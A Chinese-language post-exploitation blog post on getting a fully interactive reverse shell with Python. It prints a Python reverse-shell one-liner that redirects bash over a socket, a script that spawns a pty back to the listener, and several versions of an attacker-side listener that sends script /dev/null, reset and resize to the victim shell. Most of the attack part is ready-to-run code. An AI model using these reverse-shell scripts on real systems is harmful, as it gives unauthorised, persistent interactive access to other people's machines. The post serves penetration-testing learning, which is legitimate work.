关于一次python获得完整交互式shell的研究
前言
(以下基于linux系统)在一次研究后渗透的过程中,我学习到了关于tsh(tiny shell)的使用,虽然它已经是一个有了十几年历史的老工具了,但是仍然值得学习和研究,其中最让我感到惊讶的是利用这个工具连接后门可以获得一个完整的交互式shell(可以使用su,vim等命令,可以使用tab补全,上下箭头)!而众所周知我们利用nc,bash反弹的shell并非交互式的,这引起了我的兴趣,由于我比较熟悉的语言是python,于是对python如何反弹完整交互式shell开始了研究。
关于反弹shell升级
在《如何将简单的Shell转换成为完全交互式的TTY》一文中,我们知道可以通过python提供的pty模块创建一个原生的终端,利用ctrl+z,stty raw -echo;fg,并最终reset来得到一个完全交互式的终端。那么假设目标环境中没有python环境,那么我们要如何达到这个效果呢?
通过搜索资料之后,我发现了使用script /dev/null
可以完全代替python提供的pty模块产生一个新的终端,这样就摆脱了对目标环境的依赖,然而利用这种方法有以下几个缺点:
- 比较繁琐(主要原因,我比较懒)
- 需要按下两次ctrl+d才能退回到主机的终端,并且此时整个终端都变得一团糟,需要使用reset来让终端恢复正常。
那么有没有方式可以简化以上步骤呢?有!当你通读完全文后,你将获得一个特制的python脚本来接收一个完整的交互式shell!
最初
我从网上查阅了许多相关的问题,但是无法找到一个令我满意的答案。我们先来看看网上流传得最广的python反弹shell的脚本:
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("127.0.0.1",23333))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"]);
这个脚本的原理非常简单。新建一个socket,并将标准输入(0),标准输出(1),错误(2)重定向到socket中,并运行一个shell。当我们执行这个脚本,就达到了与bash反弹shell一样的效果,这意味着我们同样可以用前面说的pty模块获得一个终端....等等,假如我们直接将spawn出的pty直接返回,是否就能够简化上述的一个步骤呢?
于是我有了这样的一个脚本:
# reverse_server.py
from socket import *
from sys import argv
import subprocess
talk = socket(AF_INET, SOCK_STREAM)
talk.connect(("127.0.0.1", 23333))
subprocess.Popen(["python -c 'import pty; pty.spawn(\"/bin/bash\")'"],
stdin=talk, stdout=talk, stderr=talk, shell=True)
当我们运行了这个脚本之后,就直接获得了一个pty,省略了我们之前python -c 'import pty; pty.spawn("/bin/bash")'
的步骤。但是这样还不够好,我们能否通过一个特制的接收端来简化我们ctrl+z,stty raw -echo;fg等步骤呢?
初步结果
在与朋友讨论之后,我们拿出了一个这样的接收端:
# reverse_client.py
import sys, select, tty, termios, socket
import _thread as thread
from sys import argv, stdout
class _GetchUnix:
def __call__(self):
fd = sys.stdin.fileno()
old_settings = termios.tcgetattr(fd)
try:
tty.setraw(sys.stdin.fileno())
ch = sys.stdin.read(1)
finally:
termios.tcsetattr(fd, termios.TCSADRAIN, old_settings)
return ch
getch = _GetchUnix()
CONN_ONLINE = 1
def daemon(conn):
while True:
try:
tmp = conn.recv(16)
stdout.buffer.write(tmp)
stdout.flush()
except Exception as e:
# print(e)
CONN_ONLINE = 0
# break
if __name__ == "__main__":
conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
conn.bind(('0.0.0.0', 23333))
conn.listen(5)
talk, addr = conn.accept()
print("Connect from %s.\n" % addr[0])
thread.start_new_thread(daemon, (talk,))
while CONN_ONLINE:
c = getch()
if c:
talk.send(bytes(c, encoding='utf-8'))
其原理是通过getch从标准输入中捕捉所有字符,并将其原封不动地发送给socket,再从socket中接收数据,写入stdout中。
效果
靶机:
攻击机(为了方便展示效果,将原终端的提示符改成TEST):
如你所见,我们获得了一个完整交互式shell!
优化,兼容,处理异常
现在我们的脚本还十分简陋,我们需要对这个特制的客户端进行优化,处理异常,兼容python2和python3,于是我们得到了一个这样的脚本:
# reverse_client.py
import socket
import sys
import termios
import tty
from os import path
from sys import stdout
# import thread, deal with byte
if (sys.version_info.major == 2):
def get_byte(s, encoding="UTF-8"):
return str(bytearray(s, encoding))
STDOUT = stdout
import thread
else:
def get_byte(s, encoding="UTF-8"):
return bytes(s, encoding=encoding)
STDOUT = stdout.buffer
import _thread as thread
FD = None
OLD_SETTINGS = None
class _GetchUnix:
def __call__(self):
global FD, OLD_SETTINGS
FD = sys.stdin.fileno()
OLD_SETTINGS = termios.tcgetattr(FD)
try:
tty.setraw(sys.stdin.fileno())
ch = sys.stdin.read(1)
finally:
termios.tcsetattr(FD, termios.TCSADRAIN, OLD_SETTINGS)
return ch
getch = _GetchUnix()
CONN_ONLINE = 1
def stdprint(message):
stdout.write(message)
stdout.flush()
def close_socket(talk, exit_code=0):
import os
global FD, OLD_SETTINGS, CONN_ONLINE
CONN_ONLINE = 0
talk.close()
try:
termios.tcsetattr(FD, termios.TCSADRAIN, OLD_SETTINGS)
except TypeError:
pass
os.system("reset")
os._exit(exit_code)
def recv_daemon(conn):
global CONN_ONLINE
while CONN_ONLINE:
try:
tmp = conn.recv(16)
if (tmp):
STDOUT.write(tmp)
stdout.flush()
else:
raise socket.error
except socket.error:
stdprint("Connection close by socket.\n")
close_socket(conn, 1)
def main(port):
conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
conn.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
conn.bind(('0.0.0.0', port))
conn.listen(1)
try:
talk, addr = conn.accept()
stdprint("Connect from %s.\n" % addr[0])
thread.start_new_thread(recv_daemon, (talk,))
while CONN_ONLINE:
c = getch()
if c:
try:
talk.send(get_byte(c, encoding='utf-8'))
except socket.error:
break
except KeyboardInterrupt:
pass
# stdprint("Connection close by KeyboardInterrupt.\n")
finally:
stdprint("Connection close...\n")
close_socket(conn, 0)
if __name__ == "__main__":
if (len(sys.argv) < 2):
print("usage:")
print(" python %s [port]" % path.basename(sys.argv[0]))
exit(2)
main(int(sys.argv[1]))
经过我们的修改,它变得更好了。加入了参数调用,处理了异常,并且兼容python2和python3(攻击机都不需要python3,笑:D)。然而它还有一个关键的问题,目标机子必须运行特制的python脚本。
最终成果
还记得我们一开始的研究吗?我们发现script /dev/null
与python spawn出的pty有类似的效果,假如我们用特制的客户端接收shell,靶机使用bash反弹shell会是怎么样的结果呢?
靶机:
攻击机:
看起来我们似乎成功了?输入个命令试试:
天呐,发生了什么,为什么会是一幅烂掉的样子?假如我们试着使用script /dev/null
,然后reset
?
(这里输入的reset并没有显示)
来让我们回车:
没错,我们得到了一个运行正常的完整交互式shell!这说明了利用bash反弹shell来获得完整交互式shell是完全可行的!
于是我们开始优化脚本,在接收到shell之后,通过socket发送指定的命令,来实现我们最终的懒人版!
# reverse_client_bash.py
import socket
import sys
import termios
import tty
from os import path, popen
from sys import stdout
# import thread, deal with byte
if (sys.version_info.major == 2):
def get_byte(s, encoding="UTF-8"):
return str(bytearray(s, encoding))
STDOUT = stdout
import thread
else:
def get_byte(s, encoding="UTF-8"):
return bytes(s, encoding=encoding)
STDOUT = stdout.buffer
import _thread as thread
FD = None
OLD_SETTINGS = None
class _GetchUnix:
def __call__(self):
global FD, OLD_SETTINGS
FD = sys.stdin.fileno()
OLD_SETTINGS = termios.tcgetattr(FD)
try:
tty.setraw(sys.stdin.fileno())
ch = sys.stdin.read(1)
finally:
termios.tcsetattr(FD, termios.TCSADRAIN, OLD_SETTINGS)
return ch
getch = _GetchUnix()
CONN_ONLINE = 1
def stdprint(message):
stdout.write(message)
stdout.flush()
def close_socket(talk, exit_code=0):
import os
global FD, OLD_SETTINGS, CONN_ONLINE
CONN_ONLINE = 0
talk.close()
try:
termios.tcsetattr(FD, termios.TCSADRAIN, OLD_SETTINGS)
except TypeError:
pass
os.system("clear")
os.system("reset")
os._exit(exit_code)
def recv_daemon(conn):
global CONN_ONLINE
while CONN_ONLINE:
try:
tmp = conn.recv(16)
if (tmp):
STDOUT.write(tmp)
stdout.flush()
else:
raise socket.error
except socket.error:
msg = "Connection close by socket.\n"
stdprint(msg)
close_socket(conn, 1)
def main(port):
conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
conn.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
conn.bind(('0.0.0.0', port))
conn.listen(1)
reset = True
try:
rows, columns = popen('stty size', 'r').read().split()
except Exception:
reset = False
try:
talk, addr = conn.accept()
stdprint("Connect from %s.\n" % addr[0])
thread.start_new_thread(recv_daemon, (talk,))
talk.send(get_byte("""script /dev/null && exit\n""", encoding='utf-8'))
talk.send(get_byte("""reset\n""", encoding='utf-8'))
if (reset):
talk.send(get_byte("""resize -s %s %s > /dev/null\n""" % (rows, columns), encoding='utf-8'))
while CONN_ONLINE:
c = getch()
if c:
try:
talk.send(get_byte(c, encoding='utf-8'))
except socket.error:
break
except KeyboardInterrupt:
pass
# stdprint("Connection close by KeyboardInterrupt.\n")
finally:
stdprint("Connection close...\n")
close_socket(conn, 0)
if __name__ == "__main__":
if (len(sys.argv) < 2):
print("usage:")
print(" python %s [port]" % path.basename(sys.argv[0]))
exit(2)
main(int(sys.argv[1]))
我们在连接shell之后向socket发送了几条命令:
script /dev/null && exit
# 这里exit的作用是当我们ctrl+d退出良好的终端时,自动退出那个坏的终端并返回到我们原始终端。
reset
# 重置tty
resize -s x %x > /dev/null
# 将tty的窗体大小设置为原始终端的窗体大小
That is all!